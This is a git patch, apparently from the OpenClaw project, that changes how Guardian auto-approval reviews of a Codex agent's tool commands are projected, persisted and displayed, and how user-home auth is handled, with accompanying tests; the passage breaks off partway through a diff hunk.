From 7e69b1d5ab4f67d2033795a47c4e4f47a2c50873 Mon Sep 17 00:00:00 2001 From: ClawSweeper Date: Tue, 18 Aug 2026 20:28:23 -0700 Subject: [PATCH] fix(ui): make Guardian review activity subtle (#125395) * fix(ui): make guardian reviews subtle * fix(ui): correlate Guardian warning cleanup * fix(ui): retain ambiguous Guardian warnings * fix(codex): preserve Guardian review state Keep command-owned review state durable across reconnect and persisted history, with conservative bounded outcomes and producer-owned routine warning correlation. Verify native user-home app-server auth instead of injecting stored profiles. * refactor(ui): split workspace conflict rendering --------- Co-authored-by: RoboClaw <309084314+roboclaw-bot@users.noreply.github.com> Co-authored-by: Peter Steinberger --- .../codex/src/app-server/auth-bridge.ts | 10 +- .../auth-requirement-matrix.test.ts | 32 +- .../src/app-server/event-projector-events.ts | 98 ++++- .../event-projector-tool-transcript.ts | 88 ++++- .../event-projector.reasoning.test.ts | 345 ++++++++++++++---- .../codex/src/app-server/event-projector.ts | 8 + .../app-server/run-attempt-connection.test.ts | 56 +++ .../src/app-server/run-attempt-connection.ts | 9 +- src/gateway/chat-display-projection.canvas.ts | 48 +++ src/gateway/server-chat-progress-snapshot.ts | 103 ++++-- src/gateway/server-chat-state.test.ts | 131 ++++++- .../server.chat.gateway-server-chat-b.test.ts | 74 +++- ui/src/components/icons-tools.ts | 2 + ui/src/e2e/chat-tool-turn-outcome.e2e.test.ts | 148 ++++++++ ui/src/i18n/locales/en.ts | 10 + ui/src/lib/chat/chat-types.ts | 9 + ui/src/lib/chat/tool-approval-reviews.ts | 99 +++++ ui/src/lib/chat/tool-cards.ts | 2 + .../chat/components/chat-message-bubble.ts | 60 +-- .../chat/components/chat-message-group.ts | 37 +- .../chat/components/chat-message.test.ts | 74 ++++ .../pages/chat/components/chat-tool-cards.ts | 60 ++- .../components/chat-workspace-conflict.ts | 46 +++ ui/src/pages/chat/tool-stream.node.test.ts | 189 ++++++++++ ui/src/pages/chat/tool-stream.ts | 156 +++++++- ui/src/styles/chat/tool-cards.css | 103 ++++++ 26 files changed, 1792 insertions(+), 205 deletions(-) create mode 100644 ui/src/lib/chat/tool-approval-reviews.ts diff --git a/extensions/codex/src/app-server/auth-bridge.ts b/extensions/codex/src/app-server/auth-bridge.ts index e15a77a9b6e0..e04d5e2f1748 100644 --- a/extensions/codex/src/app-server/auth-bridge.ts +++ b/extensions/codex/src/app-server/auth-bridge.ts @@ -339,7 +339,10 @@ export async function resolveCodexAppServerPreparedAuthHandoff(params: { 'Codex remote-exec cloud placement requires prepared OpenAI auth. Configure an OpenAI API-key, OAuth, or token profile and use appServer.homeScope="agent"; ambient credentials and native Codex auth are not allowed.', ); } - if (params.authRequirement === "api-key" && !usesNativeHome) { + if (usesNativeHome) { + return { nativeAuthProfile: true }; + } + if (params.authRequirement === "api-key") { const apiKey = params.resolvedApiKey?.trim(); if (!apiKey) { throw new Error("Prepared Codex API-key route is missing its resolved API key."); @@ -357,10 +360,7 @@ export async function resolveCodexAppServerPreparedAuthHandoff(params: { agentDir: params.agentDir, config: params.config, }); - if ( - usesNativeHome || - (params.authRequirement !== "subscription" && !params.requirePreparedAuth) - ) { + if (params.authRequirement !== "subscription" && !params.requirePreparedAuth) { return { authProfileId, nativeAuthProfile }; } if (!authProfileId || (params.authRequirement === "subscription" && !nativeAuthProfile)) { diff --git a/extensions/codex/src/app-server/auth-requirement-matrix.test.ts b/extensions/codex/src/app-server/auth-requirement-matrix.test.ts index 99c73943e297..c01f729c205b 100644 --- a/extensions/codex/src/app-server/auth-requirement-matrix.test.ts +++ b/extensions/codex/src/app-server/auth-requirement-matrix.test.ts @@ -11,7 +11,7 @@ const AGENT_DIR = "/tmp/openclaw-codex-auth-matrix"; const SUBSCRIPTION_REQUIRED_ERROR = "subscription profile required"; const SUBSCRIPTION_UNUSABLE_ERROR = "subscription profile unusable"; -type StoredProfileKind = "oauth" | "api_key" | "none"; +type StoredProfileKind = "oauth" | "api_key" | "unusable" | "none"; type AuthRequirement = "subscription" | "api-key" | undefined; function buildStore(kind: StoredProfileKind): AuthProfileStore { @@ -34,10 +34,11 @@ function buildStore(kind: StoredProfileKind): AuthProfileStore { order: { openai: ["openai:default"] }, }; } + const key = kind === "unusable" ? "" : "matrix-api-key"; return { version: 1, profiles: { - "openai:default": { type: "api_key", provider: "openai", key: "matrix-api-key" }, + "openai:default": { type: "api_key", provider: "openai", key }, }, order: { openai: ["openai:default"] }, }; @@ -128,13 +129,13 @@ const HANDOFF_MATRIX: { homeScope: "user", authRequirement: "api-key", storedProfile: "api_key", - expected: { outcome: "native", nativeAuthProfile: false }, + expected: { outcome: "native", nativeAuthProfile: true }, }, { homeScope: "user", authRequirement: "api-key", storedProfile: "none", - expected: { outcome: "native", nativeAuthProfile: false }, + expected: { outcome: "native", nativeAuthProfile: true }, }, { homeScope: "user", @@ -146,13 +147,19 @@ const HANDOFF_MATRIX: { homeScope: "user", authRequirement: "subscription", storedProfile: "api_key", - expected: { outcome: "native", nativeAuthProfile: false }, + expected: { outcome: "native", nativeAuthProfile: true }, + }, + { + homeScope: "user", + authRequirement: "subscription", + storedProfile: "unusable", + expected: { outcome: "native", nativeAuthProfile: true }, }, { homeScope: "user", authRequirement: "subscription", storedProfile: "none", - expected: { outcome: "native", nativeAuthProfile: false }, + expected: { outcome: "native", nativeAuthProfile: true }, }, { homeScope: "user", @@ -164,13 +171,13 @@ const HANDOFF_MATRIX: { homeScope: "user", authRequirement: undefined, storedProfile: "api_key", - expected: { outcome: "native", nativeAuthProfile: false }, + expected: { outcome: "native", nativeAuthProfile: true }, }, { homeScope: "user", authRequirement: undefined, storedProfile: "none", - expected: { outcome: "native", nativeAuthProfile: false }, + expected: { outcome: "native", nativeAuthProfile: true }, }, ]; @@ -211,10 +218,11 @@ describe("Codex app-server auth requirement matrix", () => { }); return; } - expect(resolved).toEqual({ - authProfileId, - nativeAuthProfile: expected.nativeAuthProfile, - }); + expect(resolved).toEqual( + homeScope === "user" + ? { nativeAuthProfile: true } + : { authProfileId, nativeAuthProfile: expected.nativeAuthProfile }, + ); expect(resolved).not.toHaveProperty("preparedAuth"); }, ); diff --git a/extensions/codex/src/app-server/event-projector-events.ts b/extensions/codex/src/app-server/event-projector-events.ts index dcdaf82001bf..ae08594f5f21 100644 --- a/extensions/codex/src/app-server/event-projector-events.ts +++ b/extensions/codex/src/app-server/event-projector-events.ts @@ -53,6 +53,13 @@ function guardianActionCommand(action: JsonObject | undefined): string | undefin return argv.length > 0 ? argv.join(" ") : readString(action, "program"); } +function normalizeApprovalReviewStatus(status: string | undefined): string | undefined { + return status === "inProgress" ? "in_progress" : status === "timedOut" ? "timed_out" : status; +} + +const GUARDIAN_TIMEOUT_WARNING = + "Automatic approval review timed out while evaluating the requested approval."; + export function projectNormalizedToolItem(params: { phase: "start" | "result"; item: CodexThreadItem | undefined; @@ -96,6 +103,7 @@ export function projectNormalizedToolItem(params: { export class CodexEventProjection { private reviewCount = 0; + private pendingGuardianWarning: string | undefined; constructor( private readonly threadId: string, @@ -114,28 +122,97 @@ export class CodexEventProjection { this.reviewCount += 1; const review = isJsonObject(params.review) ? params.review : undefined; const action = isJsonObject(params.action) ? params.action : undefined; + const reviewId = readString(params, "reviewId"); + const targetItemId = readNullableString(params, "targetItemId"); + const reviewStatus = review ? readString(review, "status") : undefined; + const status = normalizeApprovalReviewStatus(reviewStatus); + const riskLevel = review ? readString(review, "riskLevel") : undefined; + const userAuthorization = review ? readString(review, "userAuthorization") : undefined; + const rationale = review ? readNullableString(review, "rationale") : undefined; + // Codex emits the routine warning immediately before its structured terminal fact. + // Exact byte equality consumes only that duplicate; every other warning is flushed. + const expectedWarning = + status === "timed_out" + ? GUARDIAN_TIMEOUT_WARNING + : rationale && + riskLevel && + userAuthorization && + (status === "approved" || status === "denied") + ? `Automatic approval review ${status} (risk: ${riskLevel}, authorization: ${userAuthorization}): ${rationale}` + : undefined; + const warningMatchesReview = + Boolean(targetItemId) && Boolean(reviewId) && this.pendingGuardianWarning === expectedWarning; + if (warningMatchesReview) { + this.pendingGuardianWarning = undefined; + } else { + this.flushPendingGuardianWarning(); + } this.emitAgentEvent({ stream: "codex_app_server.guardian", data: { method, phase: method.endsWith("/started") ? "started" : "completed", - reviewId: readString(params, "reviewId"), - targetItemId: readNullableString(params, "targetItemId"), + reviewId, + targetItemId, decisionSource: readString(params, "decisionSource"), - status: review ? readString(review, "status") : undefined, - riskLevel: review ? readString(review, "riskLevel") : undefined, - userAuthorization: review ? readString(review, "userAuthorization") : undefined, - rationale: review ? readNullableString(review, "rationale") : undefined, + status: reviewStatus, + riskLevel, + userAuthorization, + rationale, actionType: action ? readString(action, "type") : undefined, command: guardianActionCommand(action), }, }); + if (reviewId && targetItemId && status) { + const approvalReview: JsonObject = { + id: reviewId, + label: "Guardian", + status, + ...(riskLevel ? { riskLevel } : {}), + ...(userAuthorization ? { userAuthorization } : {}), + ...(rationale ? { rationale } : {}), + }; + const approvalReviewOutcome = this.toolTranscript.recordToolApprovalReview( + targetItemId, + reviewId, + status, + approvalReview, + ); + this.emitAgentEvent({ + stream: "tool", + data: { + phase: "review", + toolCallId: targetItemId, + hideFromChannelProgress: true, + approvalReviewOutcome, + review: approvalReview, + }, + }); + } } handleGuardianWarning(params: JsonObject): void { + this.flushPendingGuardianWarning(); + const message = readString(params, "message"); + if (message) { + this.pendingGuardianWarning = message; + return; + } this.emitAgentEvent({ stream: "codex_app_server.guardian", - data: { phase: "warning", message: readString(params, "message") }, + data: { phase: "warning", message }, + }); + } + + flushPendingGuardianWarning(): void { + const pending = this.pendingGuardianWarning; + if (!pending) { + return; + } + this.pendingGuardianWarning = undefined; + this.emitAgentEvent({ + stream: "codex_app_server.guardian", + data: { phase: "warning", message: pending }, }); } @@ -214,6 +291,13 @@ export class CodexEventProjection { } const { item } = params; const { name, status, args, meta, event } = projection; + const approvalReviewOutcome = + params.phase === "result" + ? this.toolTranscript.finalizeToolApprovalReviews(item.id) + : undefined; + if (event && approvalReviewOutcome) { + event.data.approvalReviewOutcome = approvalReviewOutcome; + } this.toolTranscript.recordTrajectoryEvent({ phase: params.phase, item, name, args, status }); if (params.phase === "result") { this.toolProgress.recordNativeToolError({ item, name, meta, status }); diff --git a/extensions/codex/src/app-server/event-projector-tool-transcript.ts b/extensions/codex/src/app-server/event-projector-tool-transcript.ts index f06836b35ad5..2e4b5db17458 100644 --- a/extensions/codex/src/app-server/event-projector-tool-transcript.ts +++ b/extensions/codex/src/app-server/event-projector-tool-transcript.ts @@ -36,11 +36,12 @@ import { type ToolTranscriptResultInput, } from "./event-projector-tool-progress.js"; import { resolveCodexLocalRuntimeAttribution } from "./local-runtime-attribution.js"; -import type { - CodexDynamicToolCallOutputContentItem, - CodexThreadItem, - JsonObject, - JsonValue, +import { + isJsonObject, + type CodexDynamicToolCallOutputContentItem, + type CodexThreadItem, + type JsonObject, + type JsonValue, } from "./protocol.js"; import { readCodexMirroredSessionHistoryMessages } from "./session-history.js"; import { sanitizeCodexToolArguments } from "./tool-progress-normalization.js"; @@ -64,6 +65,24 @@ const CODE_MODE_NATIVE_PATCH_SOURCE_RE = /^\s*(?:\/\/[^\r\n]*\r?\n\s*)?(?:const|let)\s+([A-Za-z_$][\w$]*)\s*=\s*await\s+tools\.apply_patch\(\s*("(?:\\[\s\S]|[^"\\])*")\s*\)\s*;?\s*text\(\s*\1\s*\)\s*;?\s*$/u; const CODE_MODE_NATIVE_PATCH_RESULT_RE = /^\s*Script (completed|failed)\s*\r?\nWall time\s+\d+(?:\.\d+)?\s+seconds\s*\r?\nOutput:\s*([\s\S]*?)\s*$/iu; +const MAX_TOOL_APPROVAL_REVIEWS = 16; + +type ToolApprovalReviewOutcome = "approved" | "denied" | "reviewing"; + +type ToolApprovalReviewState = { + reviews: JsonObject[]; + denied: boolean; + /** `null` means more unresolved IDs existed than the bounded set could retain. */ + unresolvedReviewIds: Set | null; +}; + +function toolApprovalReviewOutcome(state: ToolApprovalReviewState): ToolApprovalReviewOutcome { + return state.denied + ? "denied" + : state.unresolvedReviewIds === null || state.unresolvedReviewIds.size > 0 + ? "reviewing" + : "approved"; +} function readCodeModeNativePatchInput(source: unknown): string | undefined { if (typeof source !== "string") { @@ -129,6 +148,7 @@ export class CodexToolTranscriptProjection { private readonly afterToolCallObservedItemIds = new Set(); private readonly nativeMcpAppResultDetails = new Map(); private readonly nativeMcpAppResultDetailsAttempted = new Set(); + private readonly approvalReviewsByCallId = new Map(); private readonly rawNativeToolOutputByCallId = new Map(); private readonly codeModeNativePatchInputsByCallId = new Map(); @@ -149,6 +169,44 @@ export class CodexToolTranscriptProjection { return this.messages; } + recordToolApprovalReview( + toolCallId: string, + reviewId: string, + status: string, + review: JsonObject, + ): ToolApprovalReviewOutcome { + const state = this.approvalReviewsByCallId.get(toolCallId) ?? { + reviews: [], + denied: false, + unresolvedReviewIds: new Set(), + }; + state.reviews = [ + ...state.reviews.filter((candidate) => candidate.id !== reviewId), + review, + ].slice(-MAX_TOOL_APPROVAL_REVIEWS); + state.denied ||= ["denied", "timed_out", "aborted"].includes(status); + const unresolved = state.unresolvedReviewIds; + if (status === "in_progress") { + state.unresolvedReviewIds = + unresolved && (unresolved.size < MAX_TOOL_APPROVAL_REVIEWS || unresolved.has(reviewId)) + ? unresolved.add(reviewId) + : null; + } else { + unresolved?.delete(reviewId); + } + this.approvalReviewsByCallId.set(toolCallId, state); + return toolApprovalReviewOutcome(state); + } + + finalizeToolApprovalReviews(toolCallId: string): ToolApprovalReviewOutcome | undefined { + const state = this.approvalReviewsByCallId.get(toolCallId); + if (!state) { + return undefined; + } + state.unresolvedReviewIds = new Set(); + return toolApprovalReviewOutcome(state); + } + recordDynamicToolCall(params: { callId: string; tool: string; arguments?: JsonValue }): void { this.recordToolCall({ id: params.callId, @@ -345,7 +403,25 @@ export class CodexToolTranscriptProjection { } async recordNativeToolResultWithDetails(item: CodexThreadItem | undefined): Promise { - this.recordNativeToolResult(item, await this.prepareNativeMcpAppResultDetails(item)); + const preparedDetails = await this.prepareNativeMcpAppResultDetails(item); + const approvalReviewState = item ? this.approvalReviewsByCallId.get(item.id) : undefined; + // The terminal tool result is the durable owner for its reviews. Live + // review events disappear with the run snapshot; details survive history. + const reviewDetails = approvalReviewState + ? { + approvalReviews: approvalReviewState.reviews, + approvalReviewOutcome: toolApprovalReviewOutcome(approvalReviewState), + } + : undefined; + const details = reviewDetails + ? isJsonObject(preparedDetails) + ? { ...preparedDetails, ...reviewDetails } + : { + ...(preparedDetails !== undefined ? { toolDetails: preparedDetails } : {}), + ...reviewDetails, + } + : preparedDetails; + this.recordNativeToolResult(item, details); } private async prepareNativeMcpAppResultDetails( diff --git a/extensions/codex/src/app-server/event-projector.reasoning.test.ts b/extensions/codex/src/app-server/event-projector.reasoning.test.ts index c3ad48c8042e..30f03f733e74 100644 --- a/extensions/codex/src/app-server/event-projector.reasoning.test.ts +++ b/extensions/codex/src/app-server/event-projector.reasoning.test.ts @@ -18,94 +18,317 @@ import { registerCodexEventProjectorTestLifecycle(); +function guardianWarning(message: string, threadId = THREAD_ID): ProjectorNotification { + return { method: "guardianWarning", params: { threadId, message } } as ProjectorNotification; +} + +function guardianReview(params: { + id: string; + status: string; + target?: string | null; + phase?: "started" | "completed"; + riskLevel?: string; + userAuthorization?: string; + rationale?: string | null; + action?: Record; +}): ProjectorNotification { + const phase = params.phase ?? "completed"; + return forCurrentTurn(`item/autoApprovalReview/${phase}`, { + reviewId: params.id, + targetItemId: params.target === undefined ? "cmd-1" : params.target, + ...(phase === "completed" ? { decisionSource: "agent" } : {}), + review: { + status: params.status, + ...(params.riskLevel ? { riskLevel: params.riskLevel } : {}), + ...(params.userAuthorization ? { userAuthorization: params.userAuthorization } : {}), + ...(params.rationale !== undefined ? { rationale: params.rationale } : {}), + }, + action: params.action ?? { + type: "execve", + source: "shell", + program: "/bin/printf", + argv: ["printf", "hello"], + cwd: "/tmp", + }, + }); +} + +function commandItem(phase: "started" | "completed", id = "cmd-1"): ProjectorNotification { + const completed = phase === "completed"; + return forCurrentTurn(`item/${phase}`, { + item: { + type: "commandExecution", + id, + command: "printf hello", + cwd: "/tmp", + status: completed ? "completed" : "inProgress", + commandActions: [], + ...(completed ? { aggregatedOutput: "hello", exitCode: 0 } : {}), + }, + }); +} + describe("CodexAppServerEventProjector reasoning and guardian projection", () => { it("projects guardian review lifecycle details into agent events", async () => { const onAgentEvent = vi.fn(); const projector = await createProjector({ ...(await createParams()), onAgentEvent }); + await projector.handleNotification(commandItem("started")); await projector.handleNotification( - forCurrentTurn("item/autoApprovalReview/started", { - reviewId: "review-1", - targetItemId: "cmd-1", - review: { status: "inProgress" }, - action: { - type: "execve", - source: "shell", - program: "/bin/printf", - argv: ["printf", "hello"], - cwd: "/tmp", - }, - }), + guardianReview({ id: "review-1", status: "inProgress", phase: "started" }), ); await projector.handleNotification( - forCurrentTurn("item/autoApprovalReview/completed", { - reviewId: "review-1", - targetItemId: "cmd-1", - decisionSource: "agent", - review: { - status: "approved", - riskLevel: "low", - userAuthorization: "high", - rationale: "Benign local probe.", - }, - action: { - type: "execve", - source: "shell", - program: "/bin/printf", - argv: ["printf", "hello"], - cwd: "/tmp", - }, + guardianWarning( + "Automatic approval review approved (risk: low, authorization: high): Benign local probe.", + ), + ); + await projector.handleNotification( + guardianReview({ + id: "review-1", + status: "approved", + riskLevel: "low", + userAuthorization: "high", + rationale: "Benign local probe.", }), ); + await projector.handleNotification(commandItem("completed")); const started = findAgentEvent(onAgentEvent, { stream: "codex_app_server.guardian", phase: "started", }).data; - expect(started.reviewId).toBe("review-1"); - expect(started.targetItemId).toBe("cmd-1"); - expect(started.status).toBe("inProgress"); - expect(started.actionType).toBe("execve"); + expect(started).toMatchObject({ + reviewId: "review-1", + targetItemId: "cmd-1", + status: "inProgress", + }); const completed = findAgentEvent(onAgentEvent, { stream: "codex_app_server.guardian", phase: "completed", }).data; - expect(completed.reviewId).toBe("review-1"); - expect(completed.targetItemId).toBe("cmd-1"); - expect(completed.decisionSource).toBe("agent"); - expect(completed.status).toBe("approved"); - expect(completed.riskLevel).toBe("low"); - expect(completed.userAuthorization).toBe("high"); - expect(completed.rationale).toBe("Benign local probe."); - expect(completed.actionType).toBe("execve"); - expect(completed.command).toBe("printf hello"); + expect(completed).toMatchObject({ + reviewId: "review-1", + targetItemId: "cmd-1", + status: "approved", + command: "printf hello", + }); + const toolReviews = onAgentEvent.mock.calls + .map(([event]) => event) + .filter( + (event) => + event?.stream === "tool" && + event.data?.phase === "review" && + event.data?.toolCallId === "cmd-1", + ); + expect(toolReviews.map((event) => event.data.review)).toEqual([ + { + id: "review-1", + label: "Guardian", + status: "in_progress", + }, + { + id: "review-1", + label: "Guardian", + status: "approved", + riskLevel: "low", + userAuthorization: "high", + rationale: "Benign local probe.", + }, + ]); + expect(toolReviews[0]?.data.approvalReviewOutcome).toBe("reviewing"); + expect(toolReviews[1]?.data.approvalReviewOutcome).toBe("approved"); + expect(toolReviews.every((event) => event.data.hideFromChannelProgress === true)).toBe(true); + const result = projector.buildResult(buildEmptyToolTelemetry()); + const toolResult = result.messagesSnapshot.find((message) => message.role === "toolResult"); + expect(requireRecord(toolResult, "reviewed tool result").details).toMatchObject({ + approvalReviews: [{ id: "review-1", status: "approved" }], + approvalReviewOutcome: "approved", + }); + }); + + it("correlates identical parallel routine warnings with two distinct command reviews", async () => { + const onAgentEvent = vi.fn(); + const projector = await createProjector({ ...(await createParams()), onAgentEvent }); + const warning = + "Automatic approval review approved (risk: low, authorization: high): Safe command."; + + for (const [index, command] of ["printf first", "printf second"].entries()) { + const itemId = `cmd-${index + 1}`; + await projector.handleNotification(guardianWarning(warning)); + await projector.handleNotification( + guardianReview({ + id: `review-${index + 1}`, + target: itemId, + status: "approved", + riskLevel: "low", + userAuthorization: "high", + rationale: "Safe command.", + action: { type: "command", source: "shell", command, cwd: "/tmp" }, + }), + ); + } + + const events = onAgentEvent.mock.calls.map(([event]) => event); expect( - projector.buildResult(buildEmptyToolTelemetry()).didSendDeterministicApprovalPrompt, - ).toBe(false); + events.filter( + (event) => event.stream === "codex_app_server.guardian" && event.data.phase === "warning", + ), + ).toEqual([]); + expect( + events + .filter((event) => event.stream === "tool" && event.data.phase === "review") + .map((event) => event.data.review.id), + ).toEqual(["review-1", "review-2"]); + }); + + it("flushes routine warnings at targetless, unrelated, and projector-finalization boundaries", async () => { + const onAgentEvent = vi.fn(); + const projector = await createProjector({ ...(await createParams()), onAgentEvent }); + const approvedWarning = + "Automatic approval review approved (risk: low, authorization: high): Network call."; + const deniedWarning = + "Automatic approval review denied (risk: high, authorization: low): Unsafe command."; + const timeoutWarning = + "Automatic approval review timed out while evaluating the requested approval."; + + await projector.handleNotification(guardianWarning(approvedWarning)); + expect(onAgentEvent).not.toHaveBeenCalled(); + await projector.handleNotification( + guardianReview({ + id: "review-network", + target: null, + status: "approved", + riskLevel: "low", + userAuthorization: "high", + rationale: "Network call.", + action: { + type: "networkAccess", + target: "https://example.invalid", + host: "example.invalid", + protocol: "https", + port: 443, + }, + }), + ); + await projector.handleNotification(guardianWarning(deniedWarning)); + await projector.handleNotification( + forCurrentTurn("item/plan/delta", { itemId: "plan-1", delta: "continue" }), + ); + await projector.handleNotification(guardianWarning(timeoutWarning)); + projector.buildResult(buildEmptyToolTelemetry()); + + const warnings = onAgentEvent.mock.calls + .map(([event]) => event) + .filter( + (event) => event.stream === "codex_app_server.guardian" && event.data.phase === "warning", + ); + expect(warnings.map((event) => event.data.message)).toEqual([ + approvedWarning, + deniedWarning, + timeoutWarning, + ]); + expect( + onAgentEvent.mock.calls + .map(([event]) => event) + .filter((event) => event.stream === "tool" && event.data.phase === "review"), + ).toEqual([]); + }); + + it.each([ + { firstStatus: "denied", liveOutcome: "denied", persistedOutcome: "denied" }, + { firstStatus: "inProgress", liveOutcome: "reviewing", persistedOutcome: "approved" }, + ])("bounds rows without losing a $liveOutcome aggregate", async (scenario) => { + const onAgentEvent = vi.fn(); + const projector = await createProjector({ ...(await createParams()), onAgentEvent }); + await projector.handleNotification(commandItem("started", "cmd-many-reviews")); + for (let index = 0; index < 18; index += 1) { + const status = index === 0 ? scenario.firstStatus : "approved"; + await projector.handleNotification( + guardianReview({ + id: `review-${index}`, + target: "cmd-many-reviews", + status, + ...(status === "inProgress" ? { phase: "started" as const } : {}), + riskLevel: status === "approved" ? "low" : "high", + userAuthorization: status === "approved" ? "high" : "low", + rationale: `${status} ${index}.`, + }), + ); + } + const reviewEvents = onAgentEvent.mock.calls + .map(([event]) => event) + .filter((event) => event.stream === "tool" && event.data.phase === "review"); + expect(reviewEvents.at(-1)?.data.approvalReviewOutcome).toBe(scenario.liveOutcome); + await projector.handleNotification(commandItem("completed", "cmd-many-reviews")); + + const result = projector.buildResult(buildEmptyToolTelemetry()); + const toolResult = result.messagesSnapshot.find((message) => message.role === "toolResult"); + const details = requireRecord(toolResult, "bounded review tool result").details as { + approvalReviews: Array<{ id: string }>; + approvalReviewOutcome: string; + }; + expect(details.approvalReviews).toHaveLength(16); + expect(details.approvalReviews.map((review) => review.id)).toEqual( + Array.from({ length: 16 }, (_, index) => `review-${index + 2}`), + ); + expect(details.approvalReviewOutcome).toBe(scenario.persistedOutcome); + expect( + onAgentEvent.mock.calls + .map(([event]) => event) + .find((event) => event.stream === "tool" && event.data.phase === "result")?.data + .approvalReviewOutcome, + ).toBe(scenario.persistedOutcome); + }); + + it.each([ + { + status: "timedOut", + normalizedStatus: "timed_out", + warning: "Automatic approval review timed out while evaluating the requested approval.", + rationale: "Automatic approval review timed out while evaluating the requested approval.", + }, + { status: "aborted", normalizedStatus: "aborted", warning: undefined, rationale: null }, + ])("keeps a targeted $normalizedStatus review command-owned", async (terminal) => { + const onAgentEvent = vi.fn(); + const projector = await createProjector({ ...(await createParams()), onAgentEvent }); + if (terminal.warning) { + await projector.handleNotification(guardianWarning(terminal.warning)); + } + await projector.handleNotification( + guardianReview({ + id: `review-${terminal.normalizedStatus}`, + target: "cmd-terminal", + status: terminal.status, + rationale: terminal.rationale, + }), + ); + + const events = onAgentEvent.mock.calls.map(([event]) => event); + expect( + events.filter( + (event) => event.stream === "codex_app_server.guardian" && event.data.phase === "warning", + ), + ).toEqual([]); + expect( + events.find((event) => event.stream === "tool" && event.data.phase === "review")?.data, + ).toMatchObject({ + approvalReviewOutcome: "denied", + review: { status: terminal.normalizedStatus }, + }); }); it("projects thread-scoped guardian warnings", async () => { const onAgentEvent = vi.fn(); const projector = await createProjector({ ...(await createParams()), onAgentEvent }); - await projector.handleNotification({ - method: "guardianWarning", - params: { threadId: "thread-other", message: "Wrong thread." }, - } as ProjectorNotification); - await projector.handleNotification({ - method: "guardianWarning", - params: { - threadId: THREAD_ID, - message: "Guardian rejection limit reached; ending turn as interrupted.", - }, - } as ProjectorNotification); + await projector.handleNotification(guardianWarning("Wrong thread.", "thread-other")); + await projector.handleNotification( + guardianWarning("Guardian rejection limit reached; ending turn as interrupted."), + ); + projector.buildResult(buildEmptyToolTelemetry()); - const warning = findAgentEvent(onAgentEvent, { - stream: "codex_app_server.guardian", - phase: "warning", - }).data; - expect(warning.message).toBe("Guardian rejection limit reached; ending turn as interrupted."); - expect(onAgentEvent).toHaveBeenCalledTimes(1); + const warnings = onAgentEvent.mock.calls.map(([event]) => event.data.message); + expect(warnings).toEqual(["Guardian rejection limit reached; ending turn as interrupted."]); }); it("projects reasoning end, plan updates, compaction state, and tool metadata", async () => { diff --git a/extensions/codex/src/app-server/event-projector.ts b/extensions/codex/src/app-server/event-projector.ts index 03dc64024649..bf44307bb2fe 100644 --- a/extensions/codex/src/app-server/event-projector.ts +++ b/extensions/codex/src/app-server/event-projector.ts @@ -235,6 +235,13 @@ export class CodexAppServerEventProjector { } else if (!isCodexNotificationForTurn(params, this.threadId, this.turnId)) { return; } + if ( + notification.method !== "guardianWarning" && + notification.method !== "item/autoApprovalReview/started" && + notification.method !== "item/autoApprovalReview/completed" + ) { + this.eventProjection.flushPendingGuardianWarning(); + } this.nativeToolLifecycleProjector.handleNotification(notification); this.assistantProjection.handleNotification(notification.method, params); @@ -337,6 +344,7 @@ export class CodexAppServerEventProjector { toolTelemetry: CodexAppServerToolTelemetry, options?: { yieldDetected?: boolean }, ): EmbeddedRunAttemptResult & { terminalTurnId: string } { + this.eventProjection.flushPendingGuardianWarning(); return buildCodexAttemptResult({ runParams: this.params, turnId: this.turnId, diff --git a/extensions/codex/src/app-server/run-attempt-connection.test.ts b/extensions/codex/src/app-server/run-attempt-connection.test.ts index bfa02015d7a2..38bc0d8ff50d 100644 --- a/extensions/codex/src/app-server/run-attempt-connection.test.ts +++ b/extensions/codex/src/app-server/run-attempt-connection.test.ts @@ -4,6 +4,7 @@ import { initializeGlobalHookRunner } from "openclaw/plugin-sdk/hook-runtime"; import { createMockPluginRegistry } from "openclaw/plugin-sdk/plugin-test-runtime"; import { describe, expect, it, vi } from "vitest"; import * as appServerPolicy from "./app-server-policy.js"; +import { applyCodexAppServerAuthProfile } from "./auth-bridge.js"; import * as bindingConnection from "./binding-connection.js"; import { prepareCodexAttemptConnection } from "./run-attempt-connection.js"; import { @@ -153,6 +154,61 @@ describe("prepareCodexAttemptConnection", () => { expect(connection.disableLoginShell).toBe(true); }); + it("keeps a user-home subscription on native account verification", async () => { + const sessionFile = path.join(tempDir, "user-home-native-auth.jsonl"); + const workspaceDir = path.join(tempDir, "workspace-user-home-native-auth"); + const params = createParams(sessionFile, workspaceDir); + const runtimePlan = createCodexRuntimePlanFixture(); + params.runtimePlan = { + ...runtimePlan, + auth: { + ...runtimePlan.auth, + providerForAuth: "openai", + authProfileProviderForAuth: "openai", + forwardedAuthProfileId: "openai:unusable", + selectedAuthMode: "subscription", + modelRoute: { + provider: "openai", + modelId: "gpt-5.4-codex", + api: "openai-chatgpt-responses", + baseUrl: "https://chatgpt.com/backend-api/codex", + authRequirement: "subscription", + requestTransportOverrides: "none", + }, + }, + }; + params.authProfileStore = { + version: 1, + profiles: { + "openai:unusable": { type: "api_key", provider: "openai", key: "" }, + }, + }; + registerCodexTestSessionIdentity(sessionFile, params.sessionId, params.sessionKey); + + const connection = await prepareCodexAttemptConnection({ + params, + options: { + bindingStore: testCodexAppServerBindingStore, + pluginConfig: { appServer: { homeScope: "user" } }, + }, + }); + const request = vi.fn(async () => ({ account: { type: "chatgpt" } })); + + expect(connection.startupAuthProfileId).toBeUndefined(); + expect(connection.startupPreparedAuth).toBeUndefined(); + expect(connection.startupClientAuthProfileId).toBeNull(); + await expect( + applyCodexAppServerAuthProfile({ + client: { request } as never, + agentDir: connection.agentDir, + authProfileId: connection.startupClientAuthProfileId, + authRequirement: connection.startupAuthRequirement, + }), + ).resolves.toBeUndefined(); + expect(request).toHaveBeenCalledExactlyOnceWith("account/read", { refreshToken: false }); + expect(request).not.toHaveBeenCalledWith("account/login/start", expect.anything()); + }); + it.each([ { name: "fresh thread", existingThread: false }, { name: "unchanged resumed thread", existingThread: true }, diff --git a/extensions/codex/src/app-server/run-attempt-connection.ts b/extensions/codex/src/app-server/run-attempt-connection.ts index dff7062fea27..c9c5c51c6a9c 100644 --- a/extensions/codex/src/app-server/run-attempt-connection.ts +++ b/extensions/codex/src/app-server/run-attempt-connection.ts @@ -224,6 +224,9 @@ export async function prepareCodexAttemptConnection({ params, options }: CodexRu }).appServer; const initialStartupBindingHadInactiveThreadBootstrap = isInactiveThreadBootstrapBinding(startupBinding); + const appServerHomeScope = resolveCodexAppServerHomeScope({ + appServer: pluginConfig.appServer, + }); const preparedAuthRoute = usesSupervisionConnection ? undefined : params.runtimePlan?.auth.modelRoute; @@ -257,7 +260,7 @@ export async function 